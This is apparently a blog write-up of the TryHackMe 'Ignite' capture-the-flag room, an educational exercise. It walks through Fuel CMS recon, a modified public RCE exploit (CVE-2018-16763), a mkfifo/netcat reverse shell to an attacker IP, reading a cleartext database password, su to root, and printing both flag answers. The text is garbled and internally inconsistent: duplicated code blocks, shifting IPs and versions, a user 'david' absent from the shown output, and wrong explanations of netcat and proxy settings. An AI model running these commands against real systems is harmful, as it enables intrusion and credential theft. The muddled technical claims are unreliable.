July 19, 2026
TryHackme Ignite
Hello everyone!

By Zeliha Zengin
14 min read
Welcome back to another TryHackMe CTF write-up.
Default configurations and outdated Content Management Systems (CMS) are common entry points in real-world attacks. In this write-up, we will explore the complete attack chain of the TryHackMe Ignite machine, starting from reconnaissance and web enumeration to exploiting a known Remote Code Execution (RCE) vulnerability in Fuel CMS.
Throughout this walkthrough, we will identify the vulnerable application, leverage CVE-2018–16763 to gain initial access, enumerate the compromised system, and perform post-exploitation activities to achieve full administrative access.
Let's begin the journey!
Learning Objectives
By completing the TryHackMe Ignite room, you will learn how to:
- Perform reconnaissance to identify open ports, running services, and the target's attack surface.
- Enumerate a vulnerable web application and determine its version.
- Research and identify a publicly available exploit for the discovered vulnerability.
- Exploit a known Remote Code Execution (RCE) vulnerability to gain initial access.
- Establish and stabilize a reverse shell for interactive command execution.
- Enumerate the compromised Linux system to identify privilege escalation opportunities.
- Exploit misconfigured permissions to obtain root privileges.
- Capture both the user and root flags.
- Understand the complete penetration testing workflow, from reconnaissance and exploitation to post-exploitation and privilege escalation, while documenting each step and the commands used.
Room: https://tryhackme.com/room/ignite
Task 1: Capture the Flag ( Root it! )
Port Scanning with Nmap
The first step was to perform a comprehensive port scan to identify open ports, running services, and potential attack vectors on the target machine.
I used the following command:
nmap -Pn -p- -A <target ip>-T4 -vv
nmap -Pn -p- -A 10.145.133.88 -T4 -vvnmap -Pn -p- -A <target ip>-T4 -vv
nmap -Pn -p- -A 10.145.133.88 -T4 -vv-Pn→ Treats the target as online and skips host discovery (ping).-p-→ Scans all 65,535 TCP ports.-A→ Enables OS detection, version detection, default NSE scripts, and traceroute.10.145.133.88→ The target machine's IP address.-T4→ Uses a faster scan timing template for quicker results.-vv→ Increases the verbosity level to display more detailed scan progress and results.
This scan provides a complete overview of the target's exposed services, allowing us to identify potential entry points for further enumeration and exploitation.
Nmap Scan Results
After performing the initial reconnaissance, the Nmap scan revealed that the target was running an Apache HTTP Server 2.4.18 on port 80.
The scan also identified the web application's homepage with the title:
Welcome to FUEL CMSWelcome to FUEL CMSThis immediately indicated that the target was hosting Fuel CMS, making the web application the primary focus for further enumeration.
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
http-methods:
| Supported Methods: GET HEAD POST OPTIONS
http-robots.txt: 1 disallowed entry
|_/fuel/
http-server-header: Apache/2.4.18 (Ubuntu)
http-title: Welcome to FUEL CMS80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
http-methods:
| Supported Methods: GET HEAD POST OPTIONS
http-robots.txt: 1 disallowed entry
|_/fuel/
http-server-header: Apache/2.4.18 (Ubuntu)
http-title: Welcome to FUEL CMSKey Findings
PortStateServiceVersion80/tcpOpenHTTPApache httpd 2.4.18 (Ubuntu)
Additional information gathered from the scan:
- Operating System: Ubuntu Linux
- Web Server: Apache HTTP Server 2.4.18
- Application: Fuel CMS
- robots.txt: Discovered during the scan
http://10.145.133.88/http://10.145.133.88/
http://10.145.133.88/robots.txthttp://10.145.133.88/robots.txt
During web enumeration, I navigated to the /fuel directory that was identified from the robots.txt file.
http://<target-ip>/fuelhttp://<target-ip>/fuel
The page presented a Fuel CMS login portal, confirming the presence of the CMS administration interface. This discovery was significant because it verified that the target was running Fuel CMS, providing a clear starting point for version identification and vulnerability research.
Accessing the Fuel CMS Admin Panel
After navigating to the /fuel directory, I was presented with the Fuel CMS login page.
I attempted the default credentials commonly associated with Fuel CMS:
Username: admin
Password: adminUsername: admin
Password: adminThe default credentials were accepted, granting access to the Fuel CMS administrative dashboard.
Successful authentication confirmed that the application was using default credentials, a common security misconfiguration that can provide attackers with unauthorized administrative access. From this point, I proceeded with further enumeration of the CMS and vulnerability assessment.
http://<target-ip>/fuel/dashboardhttp://<target-ip>/fuel/dashboard
By identifying the installed Fuel CMS v1.4 version, I searched for publicly available vulnerabilities and discovered a known Remote Code Execution (RCE) exploit that affects this release.
https://www.exploit-db.com/
https://www.exploit-db.c
om/exploits/47138https://www.exploit-db.com/
https://www.exploit-db.c
om/exploits/47138
Exploit Research: Fuel CMS Vulnerability
Although we obtained access to the Fuel CMS admin panel, it did not provide a direct path for further exploitation. Therefore, the next step was to search for vulnerabilities that could be exploited without authentication.
The first step was to identify the exact version of Fuel CMS running on the target system. After confirming that the application was running Fuel CMS v1.4.1, I performed vulnerability research using SearchSploit, a command-line tool that searches the Exploit-DB database.
The search revealed a publicly available Remote Code Execution (RCE) exploit affecting Fuel CMS v1.4.1.
This vulnerability allows an attacker to execute arbitrary commands on the target system, providing a potential path to gain initial access and establish a foothold on the machine.
msfconsole –qmsfconsole –q
searchsploit Fuel CMS 1.4.searchsploit Fuel CMS 1.4.
searchsploit -m <EDB-ID>
searchsploit -m 47138.py
lssearchsploit -m <EDB-ID>
searchsploit -m 47138.py
ls
nano 47138.pynano 47138.py
Modifying the Fuel CMS Exploit
After downloading the public exploit for Fuel CMS v1.4.1 (CVE-2018–16763), I reviewed the script and modified the configuration values to match the target environment.
# Target application address (Local laboratory environment)
url = "http://127.0.0.1:8081"
# ...
while 1:
xxxx = raw_input('cmd:')
burp0_url = url + "/fuel/pages/select/?filter=%27%2b%70%68%70%69%6e%66%6f%28%29%2b%27"
# Proxy definition routing HTTP traffic to Burp Suite
proxy = {"http": "http://127.0.0.1:8080"}
# Executing the request with the configured proxy parameter
r = requests.get(burp0_url, proxies=proxy)# Target application address (Local laboratory environment)
url = "http://127.0.0.1:8081"
# ...
while 1:
xxxx = raw_input('cmd:')
burp0_url = url + "/fuel/pages/select/?filter=%27%2b%70%68%70%69%6e%66%6f%28%29%2b%27"
# Proxy definition routing HTTP traffic to Burp Suite
proxy = {"http": "http://127.0.0.1:8080"}
# Executing the request with the configured proxy parameter
r = requests.get(burp0_url, proxies=proxy)Updating the Target URL
The original exploit contained a URL variable that needed to be updated with the target machine's IP address.
The URL was modified as follows:
url = "http://10.10.223.196"url = "http://10.10.223.196"This ensures that the exploit sends requests to the correct target machine.
Updating the Proxy Configuration
The exploit was originally configured to send requests through a local Burp Suite proxy:
proxy = {"http": "http://127.0.0.1:8080"}proxy = {"http": "http://127.0.0.1:8080"}Since the exploit was being executed directly against the target, the proxy configuration was updated to point to the target web service:
proxy = {"http": "http://10.10.223.196:80"}proxy = {"http": "http://10.10.223.196:80"}Sending the Request
After updating the proxy configuration, the exploit continued to use the proxy parameter when sending requests:
Updated request:
r = requests.get(burp0_url, proxies=proxy)r = requests.get(burp0_url, proxies=proxy)These changes redirected the exploit traffic from the local Burp Suite proxy to the target machine's HTTP service running on port 80.
After configuring the correct target URL and proxy settings, the exploit was ready to be executed against the vulnerable Fuel CMS installation to achieve Remote Code Execution (RCE).
Saving Modifications and Verifying the Exploit File
After applying the environment-specific configurations to our script, the final step in the preparation stage involves saving our changes within the text editor and verifying that the file exists in our current working directory.
Step-by-Step Execution Breakdown
The sequence of images highlights the standard terminal workflow for saving changes in the nano text editor and verifying the output:
- Saving the Modified Buffer:
- When exiting the editor via
Ctrl + X, the terminal prompts:Save modified buffer?.
- Selecting
Y(Yes) confirms that we want to preserve the newly added target IP and proxy configurations.
- Defining the File Name:
- The editor prompts for confirmation on the file destination:
File Name to Write: fuelcms.py.
- Pressing
Enterwrites the changes directly back into our exploit script file without altering its original name.
- Verifying Directory Contents (
lsCommand):
- Once back in the active terminal shell (
root@kali), running thelscommand lists the contents of the directory.
- As highlighted in the pink frame,
fuelcms.pyis successfully saved and visible alongside other local assets (like47138.py), confirming it is ready for execution.
cat fuelcms.pycat fuelcms.py
# Modified Target IP Configuration
url = "http://10.145.133.88"
# ...
while 1:
xxxx = raw_input('cmd:')
# The payload is dynamically concatenated with the modified target URL
burp0_url = url + "/fuel/pages/select/?filter=..."
# Updated Proxy routing parameter for the active session
proxy = {"http": "http://10.145.133.88:80"}
# Request handling adjusted for targeted environment execution
r = requests.get(burp0_url)# Modified Target IP Configuration
url = "http://10.145.133.88"
# ...
while 1:
xxxx = raw_input('cmd:')
# The payload is dynamically concatenated with the modified target URL
burp0_url = url + "/fuel/pages/select/?filter=..."
# Updated Proxy routing parameter for the active session
proxy = {"http": "http://10.145.133.88:80"}
# Request handling adjusted for targeted environment execution
r = requests.get(burp0_url)Exploitation and Initial Remote Code Execution (RCE)
With the script modifications saved and verified, we proceeded to execute the exploit against the target machine using Python 2. Our goal was to leverage the Remote Code Execution (RCE) vulnerability within Fuel CMS to run system commands interactively from our terminal.
Command Execution and Output
We initiated the script by passing our first test command (ls -la) to verify that the exploit could communicate with the target server and list directory contents. Following that, we executed the id command to determine our current user privileges on the system.
# Executing the exploit script with an initial directory listing command
python2 fuelcms.py
cmd:ls –la
# Checking the current user identity and privilege level
cmd:id
systemuid=33(www-data) gid=33(www-data) groups=33(www-data)# Executing the exploit script with an initial directory listing command
python2 fuelcms.py
cmd:ls –la
# Checking the current user identity and privilege level
cmd:id
systemuid=33(www-data) gid=33(www-data) groups=33(www-data)python2 fuelcms.py: Runs our modified exploit script within the Python 2 environment.fuelcms.py→ The modified Fuel CMS exploit script.ls→ Lists files and directories in the current location.-l→ Displays detailed information such as permissions, ownership, file size, and modification dates.-a→ Shows all files, including hidden files that begin with ..cmd:id: This interactive prompt allows us to inject arbitrary OS commands. Theidcommand requests user and group information from the server.uid=33(www-data): The output confirms that the exploit successfully executed on the target server. We have gained a foothold as thewww-datauser. This is the default user identity under which the Apache web server runs on Ubuntu.
While www-data represents a low-privilege service account, establishing this initial shell confirms successful entry and marks the beginning of our privilege escalation phase.
cmd:id
systemuid=33(www-data) gid=33(www-data) groups=33(www-data)cmd:id
systemuid=33(www-data) gid=33(www-data) groups=33(www-data)The server processed the id command and seamlessly returned systemuid=33(www-data) inside the same stream.
The id command is a fundamental utility in Linux and Unix-like operating systems used to print the real and effective user IDs (UID) and group IDs (GID) of the current user or a specified user.
While the id command provides detailed numerical mapping for your user and group privileges, whoami simply strips away that metadata and returns the raw string name of the shell's owner: www-data.
cmd:whoami
www-datacmd:whoami
www-data
The whoami command (short for "Who am I?") is a straightforward Linux utility that prints the active username associated with the current current user ID (UID).
- Interactive Shell Verification: The exploit is fully stable and executing commands linearly.
- Access Level: I'm running in the context of the Apache/Nginx web server daemon. This low-privileged status restricts you from modifying core system configurations, meaning you must now hunt for local configuration files, databases, or SUID binaries to elevate your access.
cmd:pwd
system/var/www/htmlcmd:pwd
system/var/www/htmlpwd(Print Working Directory): This native Linux command queries the shell environment to return the absolute path of the directory we are currently operating within./var/www/html: This is the standard root directory for web-accessible files on Ubuntu systems running Apache. Because the output readssystem/var/www/html, it demonstrates that the exploit script prefixessystemto the clean output returned by the OS (/var/www/html).
- Locating Configuration Files: Knowing we are situated directly in the web root tells us exactly where to look for local Fuel CMS configuration, database credentials (often stored in subfolders like
fuel/application/config/), or uploaded media. - Determining Write Privileges: Web server roots like
/var/www/htmlfrequently have directories where thewww-datauser has write permissions (e.g., assets, uploads, or cache folders). Identifying this path gives us a clear indication of where we can safely upload tools, scripts, or more permanent reverse shells during post-exploitation
cmd:ls
systemindex.php
assets
fuel
readme.md
robots.txtcmd:ls
systemindex.php
assets
fuel
readme.md
robots.txt
Listing Directory Contents
To inspect the structure of the application and find configuration files or potential entry points for further enumeration, we executed the ls command within our current directory (/var/www/html).
Technical Analysis of the Webroot
The layout returned by the server confirms a standard Fuel CMS installation deployment:
fuel/: This is the core directory of the CMS. It contains the application logic, modules, and—most importantly—the configuration files where database credentials (database.php) and encryption keys are typically stored.index.php: The primary front controller that handles all routing and incoming HTTP requests for the web application.assets/: A publicly accessible directory used for storing CSS, JavaScript, and images. Because thewww-datauser often requires write permissions here to handle media uploads, this folder is a primary candidate for uploading a web shell or reverse shell payload.robots.txt: A standard file used to guide search engine crawlers, which often reveals hidden paths or administrative directories restricted from public indexing.
Flag Retrieval
- Directory Discovery: Listing
/homeconfirmed thatdavidis the primary interactive user on this host. - Permissions Check: The
user.txtfile is owned bydavid, but its permissions are set to-rw-r--r--. The finalrindicates that the file is world-readable. Even though we are currently operating as the low-privilege service accountwww-data, we possess sufficient permissions to read its contents. - Reading the Flag: We executed the
catcommand to print the contents of the user flag.
cmd:ls /home
systemwww-datacmd:ls /home
systemwww-data
cmd:ls /home/www-data
systemflag.txtcmd:ls /home/www-data
systemflag.txtT1 / Q1- User.txt
cmd:ls –la /home/www-datacmd:ls –la /home/www-dataIn Linux and Unix-like operating systems, ls -la is a powerful command combination used to list all files and directories within your current path in a detailed format, including hidden files.
ls(List): The foundational directory listing command. Running it by itself only displays the names of visible files and folders arranged side-by-side.-l(Long listing format): Changes the display to a long-table format. Instead of just showing the filename, it outputs comprehensive metadata, including file permissions, owner, group, file size, and the exact modification timestamp.-a(All): Forces the terminal to display hidden files. In Linux environments, any file or folder that begins with a period (.) is automatically hidden from normal view (such as operational files like.htaccess,.bashrc, or the current directory reference . and parent directory reference ..).
cmd:cat /home/www-data/flag.txtcmd:cat /home/www-data/flag.txtIn Linux, cat stands for concatenate. While its primary purpose is to merge multiple files into one, its most common day-to-day use in penetration testing and system administration is to read and display the text content of a file directly inside the terminal window.
Answer: 6470e394cbf6dab6a91682cc8585059b
Credential Hunting (Reading database.php and extracting cleartext root password mememe)
Task 1/ Q2- root.txt
<target ip>
http://10.145.133.88/<target ip>
http://10.145.133.88/
cat /var/www/html/fuel/application/config/database.phpcat /var/www/html/fuel/application/config/database.phpcat→ Displays the contents of a file directly in the terminal./var/www/html/fuel/application/config/database.php→ Fuel CMS database configuration file containing connection settings.
The file contained database connection details, including the database username, password, hostname, and database name.
grep -i password /var/www/html/fuel/application/config/database.phpgrep -i password /var/www/html/fuel/application/config/database.php
grep→ Searches for specific patterns inside files.-i→ Performs a case-insensitive search, matching values such aspassword,Password, orPASSWORD./var/www/html/fuel/application/config/database.php→ The Fuel CMS database configuration file containing connection settings.
The command revealed sensitive database information stored in the configuration file, including the database password.
$db['default'] = array(
'dsn' => '',
'hostname' => 'localhost',
'username' => 'root',
'password' => 'mememe',
'database' => 'fuel_schema',
'dbdriver' => 'mysqli',
...
);$db['default'] = array(
'dsn' => '',
'hostname' => 'localhost',
'username' => 'root',
'password' => 'mememe',
'database' => 'fuel_schema',
'dbdriver' => 'mysqli',
...
);
cmd:which python
system/usr/bin/pythoncmd:which python
system/usr/bin/pythonPython Availability: The server hosts a standard Python installation located at /usr/bin/python. This is highly advantageous for executing clean socket reverse shell scripts or spawning a full PTY shell using python -c "import pty; pty.spawn('/bin/bash')".
cmd:which netcat
system/bin/netcatcmd:which netcat
system/bin/netcatNetcat Availability: Netcat is present on the host at /bin/netcat. We can leverage this to push raw connection strings straight back to our local listene
Establishing a Fully Interactive Reverse Shell
While executing individual commands through our initial Remote Code Execution (RCE) script was sufficient for initial enumeration, it lacks features like tab completion, interactive prompts, and job control. To create a stable and reliable platform for post-exploitation and privilege escalation, we opted to upgrade to an interactive reverse shell using a named pipe (mkfifo).
We selected a lightweight, non-interactive-resistant Netcat payload designed to bypass basic shell execution constraints by redirecting standard input, output, and error streams through a FIFO pipe.
rm /tmp/f; mkfifo /tmp/f: Ensures that any existing file named/tmp/fis cleared out before creating a new first-in, first-out (FIFO) named pipe block at that exact path.cat /tmp/f | /bin/sh -i 2>&1: Instructs the system to read standard input from our named pipe, pass it directly into an interactive shell session (/bin/sh -i), and merge the standard error (2>) output straight into the standard output stream (&1).
cmd:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <Tunnel IP> 4444 >/tmp/fcmd:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <Tunnel IP> 4444 >/tmp/f
cmd:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.145.67.250 4444 >/tmp/fcmd:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.145.67.250 4444 >/tmp/f
nc -lvnp 4444nc -lvnp 4444nc -lvnp 4444: Connects back out over the network to our local listener. Crucially, it channels any input commands we type from our listener terminal directly back down into the waiting named pipe loop (>/tmp/f).
whoami
www-datawhoami
www-dataExecuting the Switch User (su) Attack
Leveraging the plaintext database password (mememe) we discovered inside fuel/application/config/database.php, we attempted to elevate our privileges directly to the system administrator account (root) using the su utility.
python -c "import pty; pty.spawn('/bin/bash')"python -c "import pty; pty.spawn('/bin/bash')"python -c: Instructs the system's Python interpreter to execute the accompanying code string directly in the command line without requiring a standalone script file.import pty;: Loads the native Python Pseudo-Terminal utility module, which provides tools for controlling a virtual terminal interface.pty.spawn('/bin/bash'): Spawns a new, interactive Bash process tied directly to the newly allocated pseudo-terminal asset.
This stabilizes our operational environment, cleans up input formatting issues, and prepares the platform for safe post-compromise cleanup and final validation.
su
Password: mememesu
Password: mememePrivilege Escalation (Exploiting credential reuse with su, upgrading to a full Python TTY shell, and retrieving root.txt)
whoami
rootwhoami
root
The system returns root, which validates that the privilege escalation was successful. We now have fully compromised the machine and possess unrestricted administrative control over the entire environment.
ls
robots.txtls
robots.txt
Locating the Root Flag via File System Search
As a final confirmation step in our workflow, we can use the find command to programmatically locate the root flag on the filesystem. This guarantees that even if a machine has an unconventional directory structure, we can pinpoint our target instantly.
find / -name root.txt 2>/dev/null
/root/root.txtfind / -name root.txt 2>/dev/null
/root/root.txtfind /: Instructs the system to search the entire filesystem, starting from the root directory (/).-name root.txt: Filters the search results to look exclusively for a file with the exact nameroot.txt.2>/dev/null: Redirects standard error (stderr) stream (2) to the null device (/dev/null). This suppresses permission denied errors or broken path warnings, ensuring a clean output that only contains successful matches.
cat /root/root.txtcat /root/root.txt
Answer: b9bbcb33e11b80be759c4e844862482d
Conclusion
The Ignite CTF has been successfully completed! 🎉
By exploiting a vulnerable version of Fuel CMS, we were able to gain initial access through Remote Code Execution, enumerate sensitive configuration files, and obtain the necessary information to complete the privilege escalation process.
This challenge highlights the importance of keeping applications updated, removing default configurations, and protecting sensitive credentials stored in configuration files.
With both the user and root objectives completed, we successfully achieved full system compromise.
Thanks for reading my write-up! Feel free to connect with me on LinkedIn for more cybersecurity content and CTF challenges.
🔗 LinkedIn: https://www.linkedin.com/in/zeliha-zengin/
See you in the next CTF